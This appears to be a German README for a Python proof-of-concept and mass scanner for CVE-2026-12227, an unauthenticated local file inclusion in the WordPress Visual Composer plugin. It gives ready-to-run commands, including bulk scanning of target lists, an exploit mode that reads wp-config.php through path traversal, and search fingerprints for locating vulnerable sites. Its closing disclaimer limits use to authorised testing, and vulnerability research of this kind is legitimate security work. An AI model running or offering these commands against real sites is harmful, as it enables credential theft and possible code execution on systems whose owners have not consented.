
Python-3-PoC und Scanner für CVE-2026-12227, eine unauthentifizierte lokale Dateieinbindung in WordPress Visual Composer Website Builder über den Parameter vcv-template.
Python 3 PoC für CVE-2026-12227 (Wordfence): Local File Inclusion über den vcv-template Query-Parameter in Visual Composer Website Builder (visualcomposer auf wordpress.org).
| Plattform | WordPress-Plugin |
| Komponente | Visual Composer Website Builder |
| Betroffen | ≤ 45.16.0 |
| Behoben in | > 45.16.0 (WP Trac 3619572) — neueste stabile Version verwenden (z. B. 45.16.3+) |
| CVSS | 9.8 Kritisch (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Auth | Unauthentifiziert |
| CWE | CWE-98 |
| Nicht | WPBakery (js_composer) oder SAP NetWeaver Visual Composer |
Bei anfälligen Versionen berücksichtigen öffentliche Seitenaufrufe das vom Angreifer kontrollierte vcv-template (mit vcv-template-type) während der WordPress-template_include-Verarbeitung innerhalb von PageTemplatesController. Dadurch können vom Angreifer gewählte Dateien auf der Festplatte eingebunden werden; PHP-Dateien können ausgeführt werden (RCE). Wordfence weist auf Ketten mit hochgeladenen „sicheren" Erweiterungen in einigen Setups hin.
?vcv-template-type=vc&vcv-template=blank oder LFI-Pfade unter vcv-template.vcv-template-type, vcv-template-stretched.pip install -r requirements.txt
Python 3.8+.
# Version + Plugin + VC-Seiten-Crawl + Template/LFI-Probes
python poc.py -u https://target.example --mode check
# Bekannte VC-Landingpage
python poc.py -u https://target.example --mode check --page-url /
# Massenscan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Benutzerdefinierter Include-Pfad (nur autorisiertes Testen)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON für Skripting
python poc.py -u https://target.example --mode check --json
| Datei | Bedeutung |
|---|---|
cve_2026_12227_results.jsonl | Vollständiges JSON pro Ziel |
hits.txt | Kandidaten-Hostnamen |
candidates.jsonl | Check-Modus-Zusammenfassung (page_url, status, lfi) |
| Status | Bedeutung |
|---|---|
lfi_confirmed | Antwort entspricht wp-config / /etc/passwd / version.php Heuristiken |
vcv_template_controllable | vcv-template=blank ändert das Layout gegenüber der Baseline (anfälliger Parameter wird berücksichtigt) |
plugin_vuln_no_surface | Alte Plugin-Version, aber keine VC-Seite oder Parameter wird ignoriert |
no_vc_page | Plugin vorhanden, keine VC-Marker auf gecrawlten Pfaden |
patched | Version > 45.16.0 |
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).exploitable_candidate; vor der Annahme von RCE auf einem Staging-Klon bestätigen.Nur auf Systemen verwenden, die Sie besitzen oder für die Sie eine ausdrückliche Testgenehmigung haben.